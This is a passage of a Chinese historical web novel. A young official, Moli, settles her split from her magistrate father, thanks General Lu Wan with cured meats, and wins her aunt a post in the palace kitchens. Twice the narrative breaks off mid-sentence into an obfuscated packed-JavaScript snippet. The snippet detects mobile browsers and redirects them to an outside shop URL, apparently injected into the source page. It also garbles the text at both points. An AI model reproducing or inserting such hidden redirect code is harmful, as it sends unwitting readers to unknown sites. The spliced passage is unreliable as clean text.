卢绾听这狡辩有些意思，便回座中道：“县令，你们各执一词，本将分不出孰真孰假。” 元综立即赌咒发誓：“下官字字句句，绝无虚言。若有半句假话，教元氏抄家灭族，无后而终。” 卢绾似笑非笑：“小心在意，莫要一语成谶。” 听明敲打，元综转向茉莉道：“为父今后倾举族之力助你，在朝堂上，你从此不再孤立无援，你退一步，可好？” 此情此景，让茉莉深信，手握权柄方能扬眉吐气。想当初，他要将她送与洪祎为妾，任她百般哭求，只得冷冷一句“不可”...... 茉莉懒怠再说半句，满脸嫌恶道：“不可。快签。”遂把文书和印泥一递。 “天色不早了，早签早了。”卢绾轻飘飘说完，提步走向厅外。 元综走到桌前，四下看了，人多势众再拗不过，只得认了，提笔落下姓名、按下指印、盖下私章。 “你现住何处？” “与你无关。” “咱们既无父女情份，那你这些年在府中的吃穿用度，都该一分不少还我手中。你将地址留下，等过一阵子，我算明了，差人送信与你，一次结清。” 核对文书过后，茉莉对折收好，翻起一双大眼睛，“做梦。”旋身而去。 出了衙门，卢绾先行与众人告别，径自回蓝田大营复命。茉莉与阿舅商量迁坟相关事宜，如良辰吉日，风水宝地，水陆道场，牌位碑文等，都敲定了，从包袱里取出带来的四枚银铤留作花销，看着日色西沉，准备再留一夜，明早再与魏缨打马回去。 是夜，众人在家中大摆宴席，围炉夜话，至深夜方休。 待外间灯烛熄灭，归于寂静，二女同榻而眠，茉莉欢喜至极：“姐姐，我终于做成了一件事。” 魏缨抚她脸，用指腹擦泪：“茉莉，姐姐恭喜你熬出头了。今日圣人派卢绾来，正是对你重用之意。” 茉莉听了更加欢喜，说话间，已沉入梦乡。魏缨自有一番计较，等回宫中，必得将今日诸事传与王山遥，因她已察觉——黑暗中，有双眼睛在盯着她。 一夜甜梦，雄鸡唱晓时，李秋敲门唤她们过早，满目山珍，比昨夜还要丰盛，但见手边数个包裹，鼓鼓囊囊，俱是油纸层层裹住的农家吃食，吃罢笑罢，一家三口几番叮嘱后，才舍得放二女启程。 昨日得卢绾相帮才能成事，一回宫，茉莉就提着几样薄礼登门拜谢。来至羽林营外，监门入内通传，不多时，领了进门。 卢绾正在营内训话：“近日皇城附近盗窃案频发，你们分东西两头巡逻，在各门上加紧巡查，与金吾卫做好分工，一勿冲突，二勿惊扰各府。每日下值前回营画卯归档，不得懈怠，否则军法处置。” 众将领命，各自归队，清点士兵数量，确认无误后，有序出营上值去。 茉莉看了道：“卢大将军，好威风啊！”私叹非叹，似捧非捧，听在旁人耳里，倒似揶揄。 卢绾放了刀枪，引茉莉入厅内坐下，倒上清茶，客气道：“郎官谬赞，不知今日到此有何贵干？” “将军唤我茉莉吧。今日非为公干，是想将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183421|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军昨日帮我大忙，当时慌忙忘记道谢，今日登门补上。”茉莉把包裹放到桌上，“奉阿舅舅母之命，着我将此物送与将军，略表寸心，还望笑纳。” 卢绾凑去一闻，“我爱吃这咸香的，是干腊肉吗？”说着拆开两个包裹。 “这两块是阿舅年前上山猎到的獐子和鹿做的，特意取腹心肉与将军。”卢绾打开时，茉莉继续介绍：“这些是新鲜叶菜，不多，需得尽快吃了。这两包是梅干菜和冬笋干，昨晚我阿兄淘洗过好几遍，很干净，用来煲汤煮饭最是提味增香。” “替我多谢阿舅舅母，我很喜欢。这么多吃的，一定备得很辛苦吧！”卢绾一面道谢，一面寻思，那獐鹿腊肉想必熏时用的好柴好火，色泽鲜亮，有果木香，蒸热切片后佐餐下酒，必定风味极佳。陛下胃寒，那笋干煨汤鲜甜暖胃，我且都送尚食局去。 茉莉原想，卢将军吃惯了山珍海味，怎会喜欢这些东西，当时以为拿不出手。不想他会真心喜欢，心里不禁松快许多。 二人坐一处闲话，吃了两三盏茶，茉莉正要回了，卢绾却问：“你事情办得如何？” “选好良辰吉日便可动土。” “恭喜，恭喜。” 就卢绾本心而言，极为赞赏茉莉斩断亲缘自立门户的气魄。这天下多少人，一生为血脉姓氏所累，若人人都似她这般，岂不少去许多血亲间的争端倾轧？ 一想到此，卢绾对她倾佩不已，可一想到陛下指令，心里总是抵触，然而，陛下并非公私不分之人，既下此令，那定有其道理，每每要迈出那一步，便会思及昔日手笔，羞愧不已。 两相拉扯，让卢绾始终不能决定。 见场面尴尬，茉莉效仿他，没话找话：“方才听将军说城内近来失窃案频发，可要紧么？” 案件不在卢绾治下，说来可轻可重，但他毕竟是禁军统领，对警备治安等事有天然的关注，岂会置之不理？ “皇城附近几座府邸接连失窃，贵人们入宫告状，京兆府和金吾卫再抓不到贼，陛下就要问责了。” “此事归京兆府管？”既然如此，她希望案子在陛下问责后再破。 “是的。”卢绾不意再说，主动结束了对话：“茉莉，我这里有些事情要忙，咱们改日再聊吧。” 茉莉点头道：“好。”这便回了。 一刻过后，卢绾把吃食重新包好，提了先送尚食局去，再到甘露殿，到时，楚棠在内殿批阅奏折，不需通传，卢绾径自入内请安：“见过陛下。” 楚棠放笔，抬头道：“听说她回宫了，可有去找你？” “臣正为此事而来。”卢绾跪坐在案几一侧，“她给臣送了她舅父自家做的腊肉和青菜。臣瞧着很好，已送去司膳处，叫做晚膳了。” “好啊，你留下一起用。”楚棠好奇极了：“那你可有？” “没有。”卢绾敷衍道：“此事容臣细想......” 话犹未了，楚棠已然明白，却也不恼：“日子还长，你使拖字诀是拖不过去的。”横竖在他眼皮子底下，赶鸭子上架，也得上！ 47. 从后种种 又过几日，茉莉还至御前当值，拿了纸笔在手，专心记录。 散朝后，楚棠忽然道：“你且放下纸笔，朕有话与你说。”一路至内殿方停，楚棠问：“你母家何以为生？” 茉莉答道：“蓝田乡下庄户人家，种田打猎为生。” 昨晚用了那腊肉笋汤，鲜香异常，可算人间至味，楚棠吩咐道：“你送的山珍朕与卢绾用了，说道腊肉和冬笋是你母家做的，叫再送些来吧。” 茉莉惊讶极了，顾不得去看一旁的卢绾，等阿舅他们知道陛下喜欢那些山货，该多高兴呢！当时就答：“微臣叩谢陛下厚爱，今日下值写信回去，不过三五日便送来了。” “如此说来，你家里识文断字？” “臣的表兄读过书认得字。” “尚食局按时令采买，近来总没有朕爱吃的，烦得很。你舅父舅母精于腌肉、干菜炮制，此来甚好，由你表哥入宫签订契约，不拘时令，每月按时供应山货入宫，挣些银两补贴家用，十分好了。” 茉莉思忖片刻，福至心灵，问道：“陛下既有此意，臣定当成就此事。只是农家一年当中有三季较为忙碌，若忙于耕种，不能专心炮制，岂不辜负陛下美意？” 楚棠笑道：“那你却做何想？” 茉莉道：“臣舅母体弱，使不得劳力，日常只在家操持家务，来往于田间地头送送饭食。若能使舅母入尚食局做个专司腌肉和制作干菜的宫人，岂不大好？” 楚棠自能意会，本就有提拔之意，当然一口应下：“准。” 茉莉深深一叩，拿定主意今日写信回去，阿姐在夫家，不必担心，待舅母入宫后，阿舅和阿洛一家便可慢慢地搬来长安，买一两进小院定居，远离蓝田，从此再不受元综威胁。 只是茉莉不明白，陛下明知元综劣迹斑斑，为何不做裁夺？难道国中吏治糟糕至此，连个县令都轻易处置不得？当真啼笑两难分。 傍晚下值，茉莉与叶璨打个照面便走，卢绾见势不妙，只在殿中赖着，楚棠使尽眼色亦赶他不走，径到身后推攘，“还不快去！”低声催促。 卢绾拗不过，不情不愿地追出去，悄然跟至两仪门外，二人已不顺路，卢绾仍紧跟着，直教茉莉心里打鼓，穿过朱明门后，终于按耐不住，回身道：“将军迷路不成？硬跟着我走完这偌大一个皇城。” 卢绾心虚：“此番借花献佛，郎官可有气恼？” 茉莉心里寻思，若将礼物送与旁人，她当然气恼，但一来圣人不是旁人，二来此举令她举家得了好处，气从何来？闻言就笑一声：“属下正要谢过卢将军，若非如此，我还担心阿舅一家继续受元府辖制。”说罢拱手一礼。 “恰是我无心栽柳，柳成荫了。” “待阿舅一家在长安落脚，属下定当设宴请将军到家里吃酒。” “那我就却之不恭了。蓝田一别，我也欲与郎官吃杯热酒，只是这一向不得机会。” “还要叫上阿缨姐姐。” “阿婴？阿缨。”卢绾恍然，提醒道：“郎官恕卢绾多事，万不可在圣人面前直呼此名。” 茉莉不解：“却是为何？” 卢绾笑盈盈解释道：“说不得有犯上之嫌。圣人少时常行走酒肆瓦舍，有回在杏花楼惹下祸事，被那掌柜捉住不放，定要赔偿才肯作罢，眼见巡捕要到了，圣人脱口叫做柏婴，留下府邸地址，方脱身而去。” 茉莉横起剑眉：“可太师柏公不是法家大儒吗？” “是了。”卢绾点头，“可见当时情势危急，若被巡捕撞见，传扬出去又要小事化大。” “后来怎样？” “掌柜上太师府讨债，幸好柏玄素义气，揽下此事，否则咱们殿下就要被柏公赤条条押着上殿受审了。” 茉莉腹诽，真不让人省心。忽而想起，她初见圣人时亦在杏花楼，可见圣人喜欢那载歌载舞的地方。不知该不该问，还是问了：“圣人很喜欢杏花楼？” 卢绾警惕着，面色却如常：“雅乐歌舞，无一不喜。只是如今去不得了。” “内廷伶人不够好？何以舍近求远？”茉莉状似天真，实则已有一番计较。 “自是有些区别。” “我在内廷数月，从不得去御前献舞，想来政务繁忙，圣人将雅乐歌舞都弃了。可惜我姐姐一身好本领......” “姑娘只管放心，多早晚圣人兴致一到，魏姑娘的本领就派上用场了。” 茉莉腔子里跳得厉害，再不敢接话，正好到地方，借口要回门下省放置文书，只对卢绾一点头，道过别，转进月门去，靠在红墙上接连顺了几口气，其实心底有种抑制不住的欢喜。 当夜回了紫兰亭，灯下写信，四更即起，穿上官袍，径往永安门外邮驿去，嘱咐邮差日间将信送至蓝田县里客栈，再折回门下省点卯。 不过三日，阿洛携母亲李秋来至长安，在杏花楼与茉莉相聚。 一家三口沿窗坐定，泡一壶清茶，点三碗梗米饭，叫小二随意配了几样特色菜品，有荤有素有汤有点心，约莫几十弹指功夫，吃食摆了满桌。 李秋只管劝兄妹俩多吃，想起要入宫当差，局促起来：“碎女子，你在朝廷当官，舅妈却在宫里腌制肉菜，会丢你的脸吗？” 茉莉从未想过舅妈多虑至此，不禁喉头一紧，宽慰道：“民以食为天，宫里的贵人自然也不例外，故而尚食局是头等重要的地方。舅妈在那里当差，我只会脸上有光，何谈丢脸？” 李秋道：“真的？你莫要骗我。” 茉莉笑得可爱：“骗你做甚？晋律既无规定官员家属不得入宫当差，又是圣人口谕，便是宰相也不能置喙半句。” 阿洛本放心不下，这厢也笑道：“如今也好，教阿娘来，好歹和你有个照应。等我回蓝田安置好乡下田地，辞了账房活计，带上阿耶和娘子来长安落脚。表妹意下如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192279|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何？” 茉莉拍案叫好：“阿兄正和我想到一处！” 阿洛又道：“长安价贵，我想在便宜坊市物色居所，再找地方做工，待一切稳定，日子便可一日一日地好起来。倘或表妹愿意，可从宫里搬出来，咱们一大家子住在一处，热热闹闹的。” 李秋接过话：“是了，你阿舅常常有此思量，想接你回家。只是你公务繁忙，始终在宫里便宜。” 茉莉道：“舅妈你不知，我在元府孤苦无依，日日夜夜都想和你们团聚，如今能弥补幼时遗憾，我自欢喜之至。只是，我那差事虽不紧要，但每日必得到御前当值，因此我怕在家受你们宠爱，会倍加任性懒散。” 阿洛忽然道：“前番算定良辰吉日，阿耶便去与县令商议动土，他定要我们说出你的住址才肯答应，没你点头，阿耶自不会说，这几日又呕尽了气。你可有话要带回去？” “教阿舅不必担心害怕，尽管动土，元综忌惮卢将军，定不敢阻拦。”茉莉轻嗤一声，“这劣迹斑斑的狗官，有他坐法处死的时候。” 阿洛吓了一跳，“表妹，慎言。” “谁叫他作茧自缚。”茉莉逼令自己平静，“你回去告诉他，咱们两家好聚好散，来日但有冤枉，我自为他陈情。” 阿洛劝道：“你年纪轻轻，何以满腔怨愤，口无遮拦？这些话，若是有心人拿去做文章，定然非同小可。你在宦海沉浮，要慎之又慎！” 茉莉惭愧道：“我都知道，但我总忍不住。” 阿洛连连摇头：“罢，罢！那都是他的过错，与你不相干。只是从今往后，要像话本里那样，一步三算，方得平安。” 茉莉也想，可她觉得自己不是那块料，一阵点头，糊弄过去。 当天下午领李秋回宫，一路上说明宫规，到尚食局登记姓名，检查照身贴，领取衣裙，安置住处，就地吃过晚饭，茉莉叮嘱舅妈小心谨慎，方取路回紫兰亭去。累了一日，只想滚进那暄软蓬松的被窝里打滚，再抱住枕头沉沉睡去。 远远地见亭外槐树下有条人影，望见茉莉，喜出望外：“单郎官且请留步，将军有信，命我送到郎官手上。”这才看清是个面生的小黄门。 说话时，亭内却有人出来，茉莉不想生事，连忙躲到树后，待人走远才探出头来：“哪个将军？我不认识将军呢。”卢绾与她交情平平，况且行事谨慎，必不会派人到居所堵她，想必有诈。 小黄门改口道：“是襄王殿下，只命奴婢送信，郎官纵有千般困惑，也得埋在心里，等殿下亲自来时再说。” 茉莉欢喜，疑心却依旧：“殿下如何知道我的下落？” 小黄门道：“宫里处处都是眼睛。” 茉莉迟疑片刻，疑心更重，只说：“宫规森严，我不能收，你且回去吧。”旋身而去，进门烧水洗漱，脱了鞋袜上床，自不管那小黄门是真是假，因她知道，要走顺仕途，绝不能与襄王纠缠。